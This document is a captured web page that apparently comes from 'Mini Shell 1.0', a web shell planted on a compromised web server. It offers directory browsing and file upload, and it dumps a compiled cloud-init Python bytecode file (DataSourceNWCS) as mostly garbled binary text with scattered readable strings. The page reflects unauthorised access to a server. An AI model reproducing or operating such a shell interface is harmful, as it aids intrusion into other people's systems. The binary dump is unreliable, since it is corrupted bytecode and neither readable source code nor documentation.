HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /lib/python3/dist-packages/cloudinit/sources/__pycache__/
Upload File :
Current File : //lib/python3/dist-packages/cloudinit/sources/__pycache__/DataSourceNWCS.cpython-311.pyc
�

܍~c�����ddlmZddlmZddlmZddlmZmZmZm	Z	m
Z
ddlmZddl
mZeje��ZdZded	ziZd
ZdZdZGd�d
ej��Zd�Zd�Zd�Zdd�ZeejffgZdS)�)�
exceptions)�dmi)�log)�net�sources�subp�
url_helper�util)�NoDHCPLeaseError)�EphemeralDHCPv4zhttp://169.254.169.254/api/v1�metadata_urlz	/metadata��c�:�eZdZdZd�Zd�Zd�Zed���ZdS)�DataSourceNWCS�NWCSc�0�tj�||||��||_t	��|_t
jt
j|ddgi��tg��|_
|j
d|_|j
�dt��|_|j
�dt��|_|j
�dt"��|_tj|_tj|_dS)N�
datasourcerr
�retries�timeout�
wait_retry)r�
DataSource�__init__�distro�dict�metadatar
�
mergemanydict�get_cfg_by_path�BUILTIN_DS_CONFIG�ds_cfg�metadata_address�get�
MD_RETRIESr�
MD_TIMEOUTr�
MD_WAIT_RETRYr�UNSET�_network_config�DSMODE_NETWORK�dsmode)�self�sys_cfgr�pathss    �B/usr/lib/python3/dist-packages/cloudinit/sources/DataSourceNWCS.pyrzDataSourceNWCS.__init__s�����#�#�D�'�6�5�A�A�A��������
��(��$�W�|�V�.D�b�I�I�!�
�
�
���!%��N� ;����{���y�*�=�=����{���y�*�=�=����+�/�/�,�
�F�F���&�}����,�����c�
�t�d��t��}|st�d��dSt�d��|���}|�t	d���||_|d|jd<|d|jd<|d|jd<|d	|jd
<|�dd��|_|�dd��|_	d
S)Nz'Detecting if machine is a NWCS instancezMachine is not a NWCS instanceFzMachine is a NWCS instancezfailed to get metadatazinstance-idzpublic-keys�network�hostnamezlocal-hostname�userdata�
vendordataT)
�LOG�info�
get_nwcs_data�get_metadata�	Exception�
metadata_fullrr"�userdata_raw�vendordata_raw)r*�on_nwcs�mds   r-�	_get_datazDataSourceNWCS._get_data-s������:�;�;�;��/�/���	��H�H�5�6�6�6��5����-�.�.�.�
�
�
�
 �
 ��
�:��4�5�5�5����')�-�'8��
�m�$�')�-�'8��
�m�$�#%�i�=��
�i� �*,�Z�.��
�&�'��F�F�:�t�4�4��� �f�f�\�4�8�8����tr.c��	t�d��ttj��dt
dzi���5t
|j|j|j	|j
���cddd��S#1swxYwYdS#ttj
ttjf$r!}t�d|���d}~wwxYw)Nz#Attempting to get metadata via DHCP�urlz/metadata/instance-id)�iface�connectivity_url_data�r�sec_betweenrzDHCP failure: %s)r4r5rr�find_fallback_nic�BASE_URL_V1�
read_metadatar!rrrrr�ProcessExecutionError�RuntimeErrorr�RequestException�error)r*�es  r-r7zDataSourceNWCS.get_metadataIs'��	��H�H�:�;�;�;� ��+�-�-��;�)@�@�'����
�
�%��)� �L� $�� �L�	���

�
�
�
�
�
�
�
�
�
�
�
����
�
�
�
�
�
��
��&���'�	
�	�	�	�
�I�I�(�!�,�,�,������	���s<�AB	�'A<�/B	�<B�B	�B�B	�	'C�0C�Cc��t�d��|j�6t�dtj��tj|_|jtjkr|jS|jddstd���|jddD]@}t|d��}|r't�	d|d|��||d<�A|jd|_|jS)	Nz Attempting network configurationz5Found None as cached _network_config, resetting to %sr0�configz"Unable to get metadata from server�mac_addresszOverriding %s with %s�name)
r4�debugr'�warningrr&rr8�get_interface_namer5)r*�i�
iface_names   r-�network_configzDataSourceNWCS.network_configcs����	�	�4�5�5�5���'��K�K�G��
�
�
�
�$+�=�D� ���7�=�0�0��'�'��}�Y�'��1�	B��@�A�A�A���y�)�(�3�	'�	'�A�+�A�m�,<�=�=�J��
'����0�!�F�)�Z�H�H�H�&��&�	��#�}�Y�7����#�#r.N)	�__name__�
__module__�__qualname__�dsnamerr>r7�propertyrV�r.r-rrsa������
�F�-�-�-�"���8���4�$�$��X�$�$�$r.rc�>�tjd��}|dkrdSdS)Nzsystem-manufacturerrFT)r�
read_dmi_data)�vendor_names r-r6r6�s(���#�$9�:�:�K��f����u��4r.c�^�tj��}||vrdS|�|��S�N)r�get_interfaces_by_macr")�mac�macs_to_nics  r-rSrS�s2���+�-�-�K�
�+����t��?�?�3���r.c�6�tj|t��Sra)r�list_from_depends�datasources)�dependss r-�get_datasource_listri�s���$�W�k�:�:�:r.�c���tj||||���}|���std|z���t	j|j�����S)NrCzunable to read metadata at %s)r	�readurl�okrIr
�	load_json�contents�decode)r@rrDr�responses     r-rGrG�sh���!��W�+�w����H��;�;�=�=�B��:�S�@�A�A�A��>�(�+�2�2�4�4�5�5�5r.N)rjrjr)�requestsr�	cloudinitrr�loggingrrrr	r
�cloudinit.net.dhcpr�cloudinit.net.ephemeralr�	getLoggerrWr4rFrr#r$r%rrr6rSrirG�DEP_FILESYSTEMrgr\r.r-�<module>rysY�� ������������$�$�$�$�$�$�:�:�:�:�:�:�:�:�:�:�:�:�:�:�/�/�/�/�/�/�3�3�3�3�3�3��g���!�!��-���K�+�-����
�
�
��
�f$�f$�f$�f$�f$�W�'�f$�f$�f$�R��� � � �;�;�;�6�6�6�6��g�,�.�/����r.